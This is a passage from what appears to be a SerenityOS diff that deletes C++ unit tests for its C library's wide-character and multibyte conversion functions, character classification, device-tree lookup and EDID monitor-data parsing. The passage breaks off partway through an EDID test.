EXPECT_EQ(ret, 1ul);
EXPECT_EQ(wc, static_cast<wchar_t>(0x2122));
// Try an invalid multibyte sequence.
// Reset the state afterwards because the effects are undefined.
ret = mbrtowc(&wc, "\xff", 1, &state);
EXPECT_EQ(ret, -1ul);
EXPECT_EQ(errno, EILSEQ);
state = {};
// Try a successful conversion, but without target address.
ret = mbrtowc(nullptr, "\xe2\x84\xa2\xe2\x84\xa2", 6, &state);
EXPECT_EQ(ret, 3ul);
// Test the "null byte shorthand". Ensure that wc is ignored.
state = {};
wchar_t old_wc = wc;
ret = mbrtowc(&wc, nullptr, 0, &state);
EXPECT_EQ(ret, 0ul);
EXPECT_EQ(wc, old_wc);
// Test recognition of incomplete multibyte sequences.
ret = mbrtowc(nullptr, nullptr, 0, &incomplete_state);
EXPECT_EQ(ret, -1ul);
EXPECT_EQ(errno, EILSEQ);
}
TEST_CASE(wcrtomb)
{
char buf[MB_LEN_MAX];
size_t ret = 0;
// Ensure that `wc` is ignored when buf is a nullptr.
ret = wcrtomb(nullptr, L'a', nullptr);
EXPECT_EQ(ret, 1ul);
ret = wcrtomb(nullptr, L'\U0001F41E', nullptr);
EXPECT_EQ(ret, 1ul);
// When the buffer is non-null, the multibyte representation is written into it.
ret = wcrtomb(buf, L'a', nullptr);
EXPECT_EQ(ret, 1ul);
EXPECT_EQ(memcmp(buf, "a", ret), 0);
ret = wcrtomb(buf, L'\U0001F41E', nullptr);
EXPECT_EQ(ret, 4ul);
EXPECT_EQ(memcmp(buf, "\xf0\x9f\x90\x9e", ret), 0);
// When the wide character is invalid, -1 is returned and errno is set to EILSEQ.
ret = wcrtomb(buf, 0x110000, nullptr);
EXPECT_EQ(ret, (size_t)-1);
EXPECT_EQ(errno, EILSEQ);
// Replacement characters and conversion errors are not confused.
ret = wcrtomb(buf, L'\uFFFD', nullptr);
EXPECT_NE(ret, (size_t)-1);
}
TEST_CASE(wcsrtombs)
{
mbstate_t state = {};
char buf[MB_LEN_MAX * 4];
wchar_t const good_chars[] = { L'\U0001F41E', L'\U0001F41E', L'\0' };
wchar_t const bad_chars[] = { L'\U0001F41E', static_cast<wchar_t>(0x1111F41E), L'\0' };
wchar_t const* src;
size_t ret = 0;
// Convert normal and valid wchar_t values.
src = good_chars;
ret = wcsrtombs(buf, &src, 9, &state);
EXPECT_EQ(ret, 8ul);
EXPECT_EQ(memcmp(buf, "\xf0\x9f\x90\x9e\xf0\x9f\x90\x9e", 9), 0);
EXPECT_EQ(src, nullptr);
EXPECT_NE(mbsinit(&state), 0);
// Stop on invalid wchar values.
src = bad_chars;
ret = wcsrtombs(buf, &src, 9, &state);
EXPECT_EQ(ret, -1ul);
EXPECT_EQ(memcmp(buf, "\xf0\x9f\x90\x9e", 4), 0);
EXPECT_EQ(errno, EILSEQ);
EXPECT_EQ(src, bad_chars + 1);
// Valid characters but not enough space.
src = good_chars;
ret = wcsrtombs(buf, &src, 7, &state);
EXPECT_EQ(ret, 4ul);
EXPECT_EQ(memcmp(buf, "\xf0\x9f\x90\x9e", 4), 0);
EXPECT_EQ(src, good_chars + 1);
// Try a conversion with no destination and too short length.
src = good_chars;
ret = wcsrtombs(nullptr, &src, 2, &state);
EXPECT_EQ(ret, 8ul);
EXPECT_EQ(src, nullptr);
EXPECT_NE(mbsinit(&state), 0);
// Try a conversion using the internal anonymous state.
src = good_chars;
ret = wcsrtombs(buf, &src, 9, nullptr);
EXPECT_EQ(ret, 8ul);
EXPECT_EQ(memcmp(buf, "\xf0\x9f\x90\x9e\xf0\x9f\x90\x9e", 9), 0);
EXPECT_EQ(src, nullptr);
}
TEST_CASE(wcsnrtombs)
{
mbstate_t state = {};
wchar_t const good_chars[] = { L'\U0001F41E', L'\U0001F41E', L'\0' };
wchar_t const* src;
size_t ret = 0;
// Convert nothing.
src = good_chars;
ret = wcsnrtombs(nullptr, &src, 0, 0, &state);
EXPECT_EQ(ret, 0ul);
EXPECT_EQ(src, good_chars);
// Convert one wide char.
src = good_chars;
ret = wcsnrtombs(nullptr, &src, 1, 0, &state);
EXPECT_EQ(ret, 4ul);
EXPECT_EQ(src, good_chars + 1);
// Encounter a null character.
src = good_chars;
ret = wcsnrtombs(nullptr, &src, 4, 0, &state);
EXPECT_EQ(ret, 8ul);
EXPECT_EQ(src, nullptr);
}
TEST_CASE(mbsrtowcs)
{
mbstate_t state = {};
wchar_t buf[4];
char const good_chars[] = "\xf0\x9f\x90\x9e\xf0\x9f\x90\x9e";
char const bad_chars[] = "\xf0\x9f\x90\x9e\xf0\xff\x90\x9e";
char const* src;
size_t ret = 0;
// Convert normal and valid multibyte sequences.
src = good_chars;
ret = mbsrtowcs(buf, &src, 3, &state);
EXPECT_EQ(ret, 2ul);
EXPECT_EQ(buf[0], L'\U0001F41E');
EXPECT_EQ(buf[1], L'\U0001F41E');
EXPECT_EQ(buf[2], L'\0');
EXPECT_EQ(src, nullptr);
EXPECT_NE(mbsinit(&state), 0);
// Stop on invalid multibyte sequences.
src = bad_chars;
ret = mbsrtowcs(buf, &src, 3, &state);
EXPECT_EQ(ret, -1ul);
EXPECT_EQ(buf[0], L'\U0001F41E');
EXPECT_EQ(errno, EILSEQ);
EXPECT_EQ(src, bad_chars + 4);
// Valid sequence but not enough space.
src = good_chars;
ret = mbsrtowcs(buf, &src, 1, &state);
EXPECT_EQ(ret, 1ul);
EXPECT_EQ(buf[0], L'\U0001F41E');
EXPECT_EQ(src, good_chars + 4);
// Try a conversion with no destination and too short length.
src = good_chars;
ret = mbsrtowcs(nullptr, &src, 1, &state);
EXPECT_EQ(ret, 2ul);
EXPECT_EQ(src, nullptr);
EXPECT_NE(mbsinit(&state), 0);
// Try a conversion using the internal anonymous state.
src = good_chars;
ret = mbsrtowcs(buf, &src, 3, nullptr);
EXPECT_EQ(ret, 2ul);
EXPECT_EQ(buf[0], L'\U0001F41E');
EXPECT_EQ(buf[1], L'\U0001F41E');
EXPECT_EQ(buf[2], L'\0');
EXPECT_EQ(src, nullptr);
}
TEST_CASE(mbsnrtowcs)
{
mbstate_t state = {};
char const good_chars[] = "\xf0\x9f\x90\x9e\xf0\x9f\x90\x9e";
char const* src;
size_t ret = 0;
// Convert nothing.
src = good_chars;
ret = mbsnrtowcs(nullptr, &src, 0, 0, &state);
EXPECT_EQ(ret, 0ul);
EXPECT_EQ(src, good_chars);
// Convert one full wide character.
src = good_chars;
ret = mbsnrtowcs(nullptr, &src, 4, 0, &state);
EXPECT_EQ(ret, 1ul);
EXPECT_EQ(src, good_chars + 4);
// Encounter a null character.
src = good_chars;
ret = mbsnrtowcs(nullptr, &src, 10, 0, &state);
EXPECT_EQ(ret, 2ul);
EXPECT_EQ(src, nullptr);
// Convert an incomplete character.
// Make sure that we point past the last processed byte.
src = good_chars;
ret = mbsnrtowcs(nullptr, &src, 6, 0, &state);
EXPECT_EQ(ret, 1ul);
EXPECT_EQ(src, good_chars + 6);
EXPECT_EQ(mbsinit(&state), 0);
// Finish converting the incomplete character.
ret = mbsnrtowcs(nullptr, &src, 2, 0, &state);
EXPECT_EQ(ret, 1ul);
EXPECT_EQ(src, good_chars + 8);
}
TEST_CASE(wcslcpy)
{
auto buf = static_cast<wchar_t*>(malloc(8 * sizeof(wchar_t)));
if (!buf) {
FAIL("Could not allocate space for copy target");
return;
}
size_t ret;
// If buffer is long enough, a straight-forward string copy is performed.
ret = wcslcpy(buf, L"abc", 8);
EXPECT_EQ(ret, 3ul);
EXPECT_EQ(wmemcmp(L"abc", buf, 4), 0);
// If buffer is (supposedly) too small, the string will be truncated.
ret = wcslcpy(buf, L"1234", 4);
EXPECT_EQ(ret, 4ul);
EXPECT_EQ(wmemcmp(L"123", buf, 4), 0);
// If the buffer is null, the length of the input is returned.
ret = wcslcpy(nullptr, L"abc", 0);
EXPECT_EQ(ret, 3ul);
}
TEST_CASE(mbrlen)
{
size_t ret = 0;
mbstate_t state = {};
// Ensure that we can parse normal ASCII characters.
ret = mbrlen("Hello", 5, &state);
EXPECT_EQ(ret, 1ul);
// Try two three-byte codepoints (™™), only one of which should be consumed.
ret = mbrlen("\xe2\x84\xa2\xe2\x84\xa2", 6, &state);
EXPECT_EQ(ret, 3ul);
// Try a null character, which should return 0 and reset the state to the initial state.
ret = mbrlen("\x00\x00", 2, &state);
EXPECT_EQ(ret, 0ul);
EXPECT_NE(mbsinit(&state), 0);
// Try an incomplete multibyte character.
ret = mbrlen("\xe2\x84", 2, &state);
EXPECT_EQ(ret, -2ul);
EXPECT_EQ(mbsinit(&state), 0);
// Finish the previous multibyte character.
ret = mbrlen("\xa2", 1, &state);
EXPECT_EQ(ret, 1ul);
// Try an invalid multibyte sequence.
// Reset the state afterwards because the effects are undefined.
ret = mbrlen("\xff", 1, &state);
EXPECT_EQ(ret, -1ul);
EXPECT_EQ(errno, EILSEQ);
state = {};
}
TEST_CASE(mbtowc)
{
int ret = 0;
wchar_t wc = 0;
// Ensure that we can parse normal ASCII characters.
ret = mbtowc(&wc, "Hello", 5);
EXPECT_EQ(ret, 1);
EXPECT_EQ(wc, static_cast<wchar_t>('H'));
// Try two three-byte codepoints (™™), only one of which should be consumed.
ret = mbtowc(&wc, "\xe2\x84\xa2\xe2\x84\xa2", 6);
EXPECT_EQ(ret, 3);
EXPECT_EQ(wc, static_cast<wchar_t>(0x2122));
// Try a null character, which should return 0.
ret = mbtowc(&wc, "\x00\x00", 2);
EXPECT_EQ(ret, 0);
EXPECT_EQ(wc, static_cast<wchar_t>(0));
// Try an incomplete multibyte character.
ret = mbtowc(&wc, "\xe2\x84", 2);
EXPECT_EQ(ret, -1);
EXPECT_EQ(errno, EILSEQ);
// Ask if we support shift states and reset the internal state in the process.
ret = mbtowc(nullptr, nullptr, 2);
EXPECT_EQ(ret, 0); // We don't support shift states.
ret = mbtowc(nullptr, "\x00", 1);
EXPECT_EQ(ret, 0); // No error likely means that the state is working again.
// Try an invalid multibyte sequence.
ret = mbtowc(&wc, "\xff", 1);
EXPECT_EQ(ret, -1);
EXPECT_EQ(errno, EILSEQ);
// Try a successful conversion, but without target address.
ret = mbtowc(nullptr, "\xe2\x84\xa2\xe2\x84\xa2", 6);
EXPECT_EQ(ret, 3);
}
TEST_CASE(mblen)
{
int ret = 0;
// Ensure that we can parse normal ASCII characters.
ret = mblen("Hello", 5);
EXPECT_EQ(ret, 1);
// Try two three-byte codepoints (™™), only one of which should be consumed.
ret = mblen("\xe2\x84\xa2\xe2\x84\xa2", 6);
EXPECT_EQ(ret, 3);
// Try a null character, which should return 0.
ret = mblen("\x00\x00", 2);
EXPECT_EQ(ret, 0);
// Try an incomplete multibyte character.
ret = mblen("\xe2\x84", 2);
EXPECT_EQ(ret, -1);
EXPECT_EQ(errno, EILSEQ);
// Ask if we support shift states and reset the internal state in the process.
ret = mblen(nullptr, 2);
EXPECT_EQ(ret, 0); // We don't support shift states.
ret = mblen("\x00", 1);
EXPECT_EQ(ret, 0); // No error likely means that the state is working again.
// Try an invalid multibyte sequence.
ret = mblen("\xff", 1);
EXPECT_EQ(ret, -1);
EXPECT_EQ(errno, EILSEQ);
}
TEST_CASE(wcsftime)
{
// FIXME: Test actual wide char inputs once those are implemented.
auto* buf = static_cast<wchar_t*>(malloc(32 * sizeof(wchar_t)));
if (!buf) {
FAIL("Could not allocate space for copy target");
return;
}
struct tm time = {
.tm_sec = 54,
.tm_min = 44,
.tm_hour = 12,
.tm_mday = 27,
.tm_mon = 4,
.tm_year = 121,
.tm_wday = 4,
.tm_yday = 0,
.tm_isdst = 0,
};
size_t ret;
// Normal behavior.
ret = wcsftime(buf, 32, L"%a, %d %b %Y %H:%M:%S", &time);
EXPECT_EQ(ret, 25ul);
EXPECT_EQ(wcscmp(buf, L"Thu, 27 May 2021 12:44:54"), 0);
// String fits exactly.
ret = wcsftime(buf, 26, L"%a, %d %b %Y %H:%M:%S", &time);
EXPECT_EQ(ret, 25ul);
EXPECT_EQ(wcscmp(buf, L"Thu, 27 May 2021 12:44:54"), 0);
// Buffer is too small.
ret = wcsftime(buf, 25, L"%a, %d %b %Y %H:%M:%S", &time);
EXPECT_EQ(ret, 0ul);
ret = wcsftime(buf, 1, L"%a, %d %b %Y %H:%M:%S", &time);
EXPECT_EQ(ret, 0ul);
ret = wcsftime(nullptr, 0, L"%a, %d %b %Y %H:%M:%S", &time);
EXPECT_EQ(ret, 0ul);
}

View file

@ -1,85 +0,0 @@
/*
* Copyright (c) 2021, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibTest/TestCase.h>
#include <wctype.h>
TEST_CASE(wctype)
{
// Test that existing properties return non-zero wctypes.
EXPECT_NE(wctype("alnum"), 0ul);
EXPECT_NE(wctype("alpha"), 0ul);
EXPECT_NE(wctype("blank"), 0ul);
EXPECT_NE(wctype("cntrl"), 0ul);
EXPECT_NE(wctype("digit"), 0ul);
EXPECT_NE(wctype("graph"), 0ul);
EXPECT_NE(wctype("lower"), 0ul);
EXPECT_NE(wctype("print"), 0ul);
EXPECT_NE(wctype("punct"), 0ul);
EXPECT_NE(wctype("space"), 0ul);
EXPECT_NE(wctype("upper"), 0ul);
EXPECT_NE(wctype("xdigit"), 0ul);
// Test that invalid properties return the "invalid" wctype (0).
EXPECT_EQ(wctype(""), 0ul);
EXPECT_EQ(wctype("abc"), 0ul);
}
TEST_CASE(wctrans)
{
// Test that existing character mappings return non-zero wctrans values.
EXPECT_NE(wctrans("tolower"), 0);
EXPECT_NE(wctrans("toupper"), 0);
// Test that invalid character mappings return the "invalid" wctrans value (0).
EXPECT_EQ(wctrans(""), 0);
EXPECT_EQ(wctrans("abc"), 0);
}
TEST_CASE(iswctype)
{
wint_t const test_chars[] = { L'A', L'a', L'F', L'f', L'Z', L'z', L'0', L'\n', L'.', L'\x00' };
// Test that valid properties are wired to the correct implementation.
for (unsigned int i = 0; i < sizeof(test_chars) / sizeof(test_chars[0]); i++) {
EXPECT_EQ_TRUTH(iswctype(test_chars[i], wctype("alnum")), iswalnum(test_chars[i]));
EXPECT_EQ_TRUTH(iswctype(test_chars[i], wctype("alpha")), iswalpha(test_chars[i]));
EXPECT_EQ_TRUTH(iswctype(test_chars[i], wctype("blank")), iswblank(test_chars[i]));
EXPECT_EQ_TRUTH(iswctype(test_chars[i], wctype("cntrl")), iswcntrl(test_chars[i]));
EXPECT_EQ_TRUTH(iswctype(test_chars[i], wctype("digit")), iswdigit(test_chars[i]));
EXPECT_EQ_TRUTH(iswctype(test_chars[i], wctype("graph")), iswgraph(test_chars[i]));
EXPECT_EQ_TRUTH(iswctype(test_chars[i], wctype("lower")), iswlower(test_chars[i]));
EXPECT_EQ_TRUTH(iswctype(test_chars[i], wctype("print")), iswprint(test_chars[i]));
EXPECT_EQ_TRUTH(iswctype(test_chars[i], wctype("punct")), iswpunct(test_chars[i]));
EXPECT_EQ_TRUTH(iswctype(test_chars[i], wctype("space")), iswspace(test_chars[i]));
EXPECT_EQ_TRUTH(iswctype(test_chars[i], wctype("upper")), iswupper(test_chars[i]));
EXPECT_EQ_TRUTH(iswctype(test_chars[i], wctype("xdigit")), iswxdigit(test_chars[i]));
}
// Test that invalid properties always return zero.
for (unsigned int i = 0; i < sizeof(test_chars) / sizeof(test_chars[0]); i++) {
EXPECT_EQ(iswctype(test_chars[i], 0), 0);
EXPECT_EQ(iswctype(test_chars[i], -1), 0);
}
}
TEST_CASE(towctrans)
{
wint_t const test_chars[] = { L'A', L'a', L'F', L'f', L'Z', L'z', L'0', L'\n', L'.', L'\x00' };
// Test that valid mappings are wired to the correct implementation.
for (unsigned int i = 0; i < sizeof(test_chars) / sizeof(test_chars[0]); i++) {
EXPECT_EQ(towctrans(test_chars[i], wctrans("tolower")), towlower(test_chars[i]));
EXPECT_EQ(towctrans(test_chars[i], wctrans("toupper")), towupper(test_chars[i]));
}
// Test that invalid mappings always return the character unchanged.
for (unsigned int i = 0; i < sizeof(test_chars) / sizeof(test_chars[0]); i++) {
EXPECT_EQ(towctrans(test_chars[i], 0), test_chars[i]);
EXPECT_EQ(towctrans(test_chars[i], -1), test_chars[i]);
}
}

View file

@ -1,9 +0,0 @@
set(TEST_SOURCES
TestLookup.cpp
)
foreach(source IN LISTS TEST_SOURCES)
serenity_test("${source}" LibDeviceTree LIBS LibDeviceTree LibFileSystem)
endforeach()
install(FILES dtb.dtb DESTINATION usr/Tests/LibDeviceTree)

View file

@ -1,29 +0,0 @@
/*
* Copyright (c) 2024, Leon Albrecht <leon.a@serenityos.org>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibTest/TestCase.h>
#include <LibCore/File.h>
#include <LibCore/System.h>
#include <LibDeviceTree/DeviceTree.h>
#include <LibDeviceTree/FlattenedDeviceTree.h>
TEST_CASE(basic_functionality)
{
auto fdt_file = TRY_OR_FAIL(Core::File::open("/usr/Tests/LibDeviceTree/dtb.dtb"sv, Core::File::OpenMode::Read));
auto fdt = TRY_OR_FAIL(fdt_file->read_until_eof());
auto device_tree = TRY_OR_FAIL(DeviceTree::DeviceTree::parse(fdt));
auto boot_args = device_tree->resolve_property("/chosen/bootargs"sv);
EXPECT(boot_args.has_value());
EXPECT_EQ(boot_args->as_string(), "hello root=nvme0:1:0 serial_debug"sv);
EXPECT(device_tree->phandle(1));
auto device_type = device_tree->phandle(1)->get_property("device_type"sv);
EXPECT(device_type.has_value());
EXPECT_EQ(device_type->as_string(), "cpu"sv);
}

Binary file not shown.

View file

@ -1,7 +0,0 @@
set(TEST_SOURCES
TestEDID.cpp
)
foreach(source IN LISTS TEST_SOURCES)
serenity_test("${source}" LibEDID LIBS LibEDID)
endforeach()

View file

@ -1,539 +0,0 @@
/*
* Copyright (c) 2022, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibEDID/DMT.h>
#include <LibEDID/EDID.h>
#include <LibTest/TestCase.h>
static u8 const edid1_bin[] = {
0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x49, 0x14, 0x34, 0x12,
0x00, 0x00, 0x00, 0x00, 0x2a, 0x18, 0x01, 0x04, 0xa5, 0x1a, 0x13, 0x78,
0x06, 0xee, 0x91, 0xa3, 0x54, 0x4c, 0x99, 0x26, 0x0f, 0x50, 0x54, 0x21,
0x08, 0x00, 0xe1, 0xc0, 0xd1, 0xc0, 0xd1, 0x00, 0xa9, 0x40, 0xb3, 0x00,
0x95, 0x00, 0x81, 0x80, 0x81, 0x40, 0x25, 0x20, 0x00, 0x66, 0x41, 0x00,
0x1a, 0x30, 0x00, 0x1e, 0x33, 0x40, 0x04, 0xc3, 0x10, 0x00, 0x00, 0x18,
0x00, 0x00, 0x00, 0xfd, 0x00, 0x32, 0x7d, 0x1e, 0xa0, 0x78, 0x01, 0x0a,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x00, 0x00, 0x00, 0xfc, 0x00, 0x51,
0x45, 0x4d, 0x55, 0x20, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x0a,
0x00, 0x00, 0x00, 0xf7, 0x00, 0x0a, 0x00, 0x40, 0x82, 0x00, 0x28, 0x20,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xc4, 0x02, 0x03, 0x0a, 0x00,
0x45, 0x7d, 0x65, 0x60, 0x59, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xf2
};
TEST_CASE(edid1)
{
auto edid = TRY_OR_FAIL(EDID::Parser::from_bytes({ edid1_bin, sizeof(edid1_bin) }));
EXPECT(edid.legacy_manufacturer_id() == "RHT");
EXPECT(!edid.aspect_ratio().has_value());
auto screen_size = edid.screen_size();
EXPECT(screen_size.has_value());
EXPECT(screen_size.value().horizontal_cm() == 26);
EXPECT(screen_size.value().vertical_cm() == 19);
auto gamma = edid.gamma();
EXPECT(gamma.has_value());
EXPECT(gamma.value() >= 2.19f && gamma.value() <= 2.21f);
EXPECT(edid.display_product_name() == "QEMU Monitor");
{
static constexpr struct {
unsigned width;
unsigned height;
unsigned refresh_rate;
EDID::Parser::EstablishedTiming::Source source;
u8 dmt_id { 0 };
} expected_established_timings[] = {
{ 640, 480, 60, EDID::Parser::EstablishedTiming::Source::IBM, 0x4 },
{ 800, 600, 60, EDID::Parser::EstablishedTiming::Source::VESA, 0x9 },
{ 1024, 768, 60, EDID::Parser::EstablishedTiming::Source::VESA, 0x10 },
{ 1280, 768, 60, EDID::Parser::EstablishedTiming::Source::VESA, 0x17 },
{ 1360, 768, 60, EDID::Parser::EstablishedTiming::Source::VESA, 0x27 },
{ 1400, 1050, 60, EDID::Parser::EstablishedTiming::Source::VESA, 0x2a },
{ 1792, 1344, 60, EDID::Parser::EstablishedTiming::Source::VESA, 0x3e },
{ 1856, 1392, 60, EDID::Parser::EstablishedTiming::Source::VESA, 0x41 },
{ 1920, 1440, 60, EDID::Parser::EstablishedTiming::Source::VESA, 0x49 }
};
static constexpr size_t expected_established_timings_count = sizeof(expected_established_timings) / sizeof(expected_established_timings[0]);
size_t established_timings_found = 0;
auto result = TRY_OR_FAIL(edid.for_each_established_timing([&](auto& established_timings) {
EXPECT(established_timings_found < expected_established_timings_count);
auto& expected_timings = expected_established_timings[established_timings_found];
EXPECT(established_timings.width() == expected_timings.width);
EXPECT(established_timings.height() == expected_timings.height);
EXPECT(established_timings.refresh_rate() == expected_timings.refresh_rate);
EXPECT(established_timings.source() == expected_timings.source);
EXPECT(established_timings.dmt_id() == expected_timings.dmt_id);
established_timings_found++;
return IterationDecision::Continue;
}));
EXPECT(result == IterationDecision::Continue);
EXPECT(established_timings_found == expected_established_timings_count);
}
{
static constexpr struct {
unsigned width;
unsigned height;
unsigned refresh_rate;
u8 dmt_id { 0 };
} expected_standard_established_timings[] = {
{ 2048, 1152, 60, 0x54 },
{ 1920, 1080, 60, 0x52 },
{ 1920, 1200, 60, 0x45 },
{ 1600, 1200, 60, 0x33 },
{ 1680, 1050, 60, 0x3a },
{ 1440, 900, 60, 0x2f },
{ 1280, 1024, 60, 0x23 },
{ 1280, 960, 60, 0x20 }
};
static constexpr size_t expected_standard_timings_count = sizeof(expected_standard_established_timings) / sizeof(expected_standard_established_timings[0]);
size_t standard_timings_found = 0;
auto result = TRY_OR_FAIL(edid.for_each_standard_timing([&](auto& standard_timings) {
EXPECT(standard_timings_found < expected_standard_timings_count);
auto& expected_timings = expected_standard_established_timings[standard_timings_found];
EXPECT(standard_timings.dmt_id() == expected_timings.dmt_id);
EXPECT(standard_timings.width() == expected_timings.width);
EXPECT(standard_timings.height() == expected_timings.height);
EXPECT(standard_timings.refresh_rate() == expected_timings.refresh_rate);
standard_timings_found++;
return IterationDecision::Continue;
}));
EXPECT(result == IterationDecision::Continue);
EXPECT(standard_timings_found == expected_standard_timings_count);
}
{
static constexpr struct {
unsigned block_id;
unsigned width;
unsigned height;
unsigned refresh_rate;
} expected_detailed_timings[] = {
{ 0, 1024, 768, 75 }
};
static constexpr size_t expected_detailed_timings_count = sizeof(expected_detailed_timings) / sizeof(expected_detailed_timings[0]);
size_t detailed_timings_found = 0;
auto result = TRY_OR_FAIL(edid.for_each_detailed_timing([&](auto& detailed_timing, unsigned block_id) {
EXPECT(detailed_timings_found < expected_detailed_timings_count);
auto& expected_timings = expected_detailed_timings[detailed_timings_found];
EXPECT(block_id == expected_timings.block_id);
EXPECT(detailed_timing.horizontal_addressable_pixels() == expected_timings.width);
EXPECT(detailed_timing.vertical_addressable_lines() == expected_timings.height);
EXPECT(detailed_timing.refresh_rate().lrint() == expected_timings.refresh_rate);
detailed_timings_found++;
return IterationDecision::Continue;
}));
EXPECT(result == IterationDecision::Continue);
EXPECT(detailed_timings_found == expected_detailed_timings_count);
}
{
static constexpr u8 expected_vic_ids[] = { 125, 101, 96, 89, 31 };
static constexpr size_t expected_vic_ids_count = sizeof(expected_vic_ids) / sizeof(expected_vic_ids[0]);
size_t vic_ids_found = 0;
auto result = TRY_OR_FAIL(edid.for_each_short_video_descriptor([&](unsigned block_id, bool is_native, EDID::VIC::Details const& vic) {
EXPECT(vic_ids_found < expected_vic_ids_count);
EXPECT(block_id == 1);
EXPECT(!is_native); // none are marked as native
EXPECT(vic.vic_id == expected_vic_ids[vic_ids_found]);
vic_ids_found++;
return IterationDecision::Continue;
}));
EXPECT(result == IterationDecision::Continue);
EXPECT(vic_ids_found == expected_vic_ids_count);
}
{
// This edid has one CEA861 extension block only
size_t extension_blocks_found = 0;
auto result = TRY_OR_FAIL(edid.for_each_extension_block([&](unsigned block_id, u8 tag, u8 revision, ReadonlyBytes) {
EXPECT(block_id == 1);
EXPECT(tag == 0x2);
EXPECT(revision == 3);
extension_blocks_found++;
return IterationDecision::Continue;
}));
EXPECT(result == IterationDecision::Continue);
EXPECT(extension_blocks_found == 1);
}
}
static u8 const edid2_bin[] = {
0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x04, 0x72, 0x1d, 0x08,
0xd2, 0x02, 0x96, 0x49, 0x20, 0x1e, 0x01, 0x04, 0xb5, 0x3c, 0x22, 0x78,
0x3b, 0xff, 0x15, 0xa6, 0x53, 0x4a, 0x98, 0x26, 0x0f, 0x50, 0x54, 0xbf,
0xef, 0x80, 0xd1, 0xc0, 0xb3, 0x00, 0x95, 0x00, 0x81, 0x80, 0x81, 0x40,
0x81, 0xc0, 0x01, 0x01, 0x01, 0x01, 0x86, 0x6f, 0x00, 0x3c, 0xa0, 0xa0,
0x0f, 0x50, 0x08, 0x20, 0x35, 0x00, 0x55, 0x50, 0x21, 0x00, 0x00, 0x1e,
0x56, 0x5e, 0x00, 0xa0, 0xa0, 0xa0, 0x29, 0x50, 0x30, 0x20, 0x35, 0x00,
0x55, 0x50, 0x21, 0x00, 0x00, 0x1e, 0x00, 0x00, 0x00, 0xfd, 0x00, 0x30,
0x4b, 0x78, 0x78, 0x1e, 0x01, 0x0a, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x00, 0x00, 0x00, 0xfc, 0x00, 0x43, 0x42, 0x32, 0x37, 0x32, 0x55, 0x0a,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x01, 0xc5, 0x02, 0x03, 0x33, 0x71,
0x4c, 0x12, 0x13, 0x04, 0x1f, 0x90, 0x14, 0x05, 0x01, 0x11, 0x02, 0x03,
0x4a, 0x23, 0x09, 0x07, 0x07, 0x83, 0x01, 0x00, 0x00, 0xe2, 0x00, 0xc0,
0x67, 0x03, 0x0c, 0x00, 0x10, 0x00, 0x38, 0x3c, 0xe3, 0x05, 0xe3, 0x01,
0xe3, 0x0f, 0x00, 0x00, 0xe6, 0x06, 0x07, 0x01, 0x60, 0x60, 0x45, 0x01,
0x1d, 0x00, 0x72, 0x51, 0xd0, 0x1e, 0x20, 0x6e, 0x28, 0x55, 0x00, 0x55,
0x50, 0x21, 0x00, 0x00, 0x1e, 0x01, 0x1d, 0x00, 0xbc, 0x52, 0xd0, 0x1e,
0x20, 0xb8, 0x28, 0x55, 0x40, 0x55, 0x50, 0x21, 0x00, 0x00, 0x1e, 0x56,
0x5e, 0x00, 0xa0, 0xa0, 0xa0, 0x29, 0x50, 0x30, 0x20, 0x35, 0x00, 0x55,
0x50, 0x21, 0x00, 0x00, 0x1e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xe1
};
TEST_CASE(edid2)
{
auto edid = TRY_OR_FAIL(EDID::Parser::from_bytes({ edid2_bin, sizeof(edid2_bin) }));
EXPECT(edid.legacy_manufacturer_id() == "ACR");
EXPECT(edid.serial_number() == 1234567890);
auto digital_interface = edid.digital_display();
EXPECT(digital_interface.has_value());
EXPECT(digital_interface.value().color_bit_depth() == EDID::Parser::DigitalDisplay::ColorBitDepth::BPP_10);
EXPECT(digital_interface.value().supported_interface() == EDID::Parser::DigitalDisplay::SupportedInterface::DisplayPort);
EXPECT(!digital_interface.value().features().supports_standby());
EXPECT(!digital_interface.value().features().supports_suspend());
EXPECT(digital_interface.value().features().supports_off());
EXPECT(digital_interface.value().features().preferred_timing_mode_includes_pixel_format_and_refresh_rate());
EXPECT(!digital_interface.value().features().srgb_is_default_color_space());
EXPECT(digital_interface.value().features().frequency() == EDID::Parser::DigitalDisplayFeatures::Frequency::Continuous);
EXPECT(digital_interface.value().features().supported_color_encodings() == EDID::Parser::DigitalDisplayFeatures::SupportedColorEncodings::RGB444_YCrCb444_YCrCb422);
EXPECT(!edid.aspect_ratio().has_value());
auto screen_size = edid.screen_size();
